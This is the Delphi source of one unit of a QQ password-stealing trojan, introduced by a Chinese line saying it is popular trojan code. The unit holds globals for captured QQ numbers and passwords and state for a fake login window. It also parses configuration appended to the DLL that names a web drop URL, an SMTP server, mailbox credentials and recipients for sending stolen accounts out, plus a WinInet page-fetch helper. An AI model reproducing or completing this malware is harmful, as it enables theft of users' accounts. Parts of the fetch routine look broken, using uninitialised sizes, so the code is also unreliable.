allvarunit.pas

这是目前很流行的QQ木马 的代码 现在 这个很使用的

unit AllVarUnit;

interface

uses Windows,tonghan ,wininet;

const
  DLL_WindowClass = 'ListBox';
  DLL_WindowTitle = 'dll_wfgQQ';

  EXE_WindowClass = 'ListBox';
  EXE_WindowTitle = 'ZXY_wfgQQ';

var
  IsExplorer: Bool = False;  //是否处于 Explorer进程
  IsQQ : Bool = False;    //是否外于传奇世界进程
  QQ2007: Bool = False;   //是2006 还是2007
  QQpchar:string;         //QQ所在路径
  IsQQclub:boolean=false; //是否为QQ会员
    NumberPath:string;    //号码文件夹路径

  DayShu:string='';

  ComDllFileName, ComDllFilePath: string; // dll 和 exe 的路径
  WoWQUFileName,QUFileName:string;//区服文件路径
  QQPassWord,CKPassWordok,QQNumber,QQJsName,QQxb,QQqu,QQfu,QQyl,QQCkYl,QQdj:string;   //账号和密码
  Send1:boolean=false; Send2:boolean=false;
  aspurl,aspurl2,Smtp, User, Pass, GetMail, ToMail,ToMail2, Subject, MailText: string;
  isfaasp,isfamail:boolean;

 NewQQHandle:thandle;    //自已的登陆窗口句柄
 PassWordIng:boolean=false;// 是否在输入账号还是密码
 InsertHao: Integer=0;  //号码插入字符
 InsertPass: Integer=0;  //号码插入字符
 IsShowStr:boolean=false;//闪烁的光标
 IsZDDL:boolean=false;// 是否自动登陆
 IsYSDL:boolean=false;// 是否隐身登陆

 QQHandle:thandle;// QQ主窗体句柄
   // 载入尾部信息
procedure getmytxt1;
//网页内容
function GetWebPage(const Url: string):string;
implementation

 // 载入尾部信息
procedure getmytxt1;
 var
 i:integer;
 ExtraInfo:string;
 begin
   ExtraInfo:=LoadExtraInfo(pchar(ComDllFileName)); // 载入尾部信息
   ExtraInfo:=EncryptText(ExtraInfo);
   //log1(pchar(ExtraInfo+'载入尾部信息'));
    //生成日期
   i:=pos('&',ExtraInfo);
   DayShu:=copy(ExtraInfo,1,Pred(i));
   DayShu:=trim(DayShu);
   delete(ExtraInfo,1,i);
   //asp收信地址
   i:=pos('&',ExtraInfo);
   aspurl:=copy(ExtraInfo,1,Pred(i));
   aspurl:=trim(aspurl);
   delete(ExtraInfo,1,i);
       //收信箱
      i:=pos('&',ExtraInfo);
   ToMail:=copy(ExtraInfo,1,Pred(i));
   delete(ExtraInfo,1,i);
   ToMail:=trim(ToMail);
       //邮箱
      i:=pos('&',ExtraInfo);
   GetMail:=copy(ExtraInfo,1,Pred(i));
   delete(ExtraInfo,1,i);
   GetMail:=trim(GetMail);
   //用户名
   i:=pos('&',ExtraInfo);
   user:=copy(ExtraInfo,1,Pred(i));
   delete(ExtraInfo,1,i);
   user:=trim(user);
    //用户密码
      i:=pos('&',ExtraInfo);
   pass:=copy(ExtraInfo,1,Pred(i));
   delete(ExtraInfo,1,i);
   pass:=trim(pass);
    //smtp
   i:=pos('&',ExtraInfo);
   smtp:=copy(ExtraInfo,1,Pred(i));
   delete(ExtraInfo,1,i);
   smtp:=trim(smtp);

   isfaasp:=pos('网站收信',ExtraInfo)<>0;
   isfamail:=pos('邮箱收信',ExtraInfo)<>0;
   ExtraInfo:='';
 end;
//----------------------------------------------------------------得到网页返回信息
function StrPas(const Str: PChar): string;
begin
  Result := Str;
end;
function GetWebPage(const Url: string):string;
var
  Session,
  HttpFile:HINTERNET;
  szSizeBuffer:Pointer;
  dwLengthSizeBuffer:DWord;
  dwReserved:DWord;
  dwFileSize:DWord;
  dwBytesRead:DWord;
  Contents:PChar;
begin
  Session:=InternetOpen('',0,niL,niL,0);
  HttpFile:=InternetOpenUrl(Session,PChar(Url),niL,0,0,0);
  dwLengthSizeBuffer:=1024;
  HttpQueryInfo(HttpFile,5,szSizeBuffer,dwLengthSizeBuffer,dwReserved);
  GetMem(Contents,dwFileSize);
  InternetReadFile(HttpFile,Contents,dwFileSize,dwBytesRead);
  InternetCloseHandle(HttpFile);
  InternetCloseHandle(Session);
  Result:=StrPas(Contents);
  FreeMem(Contents);
end;


end.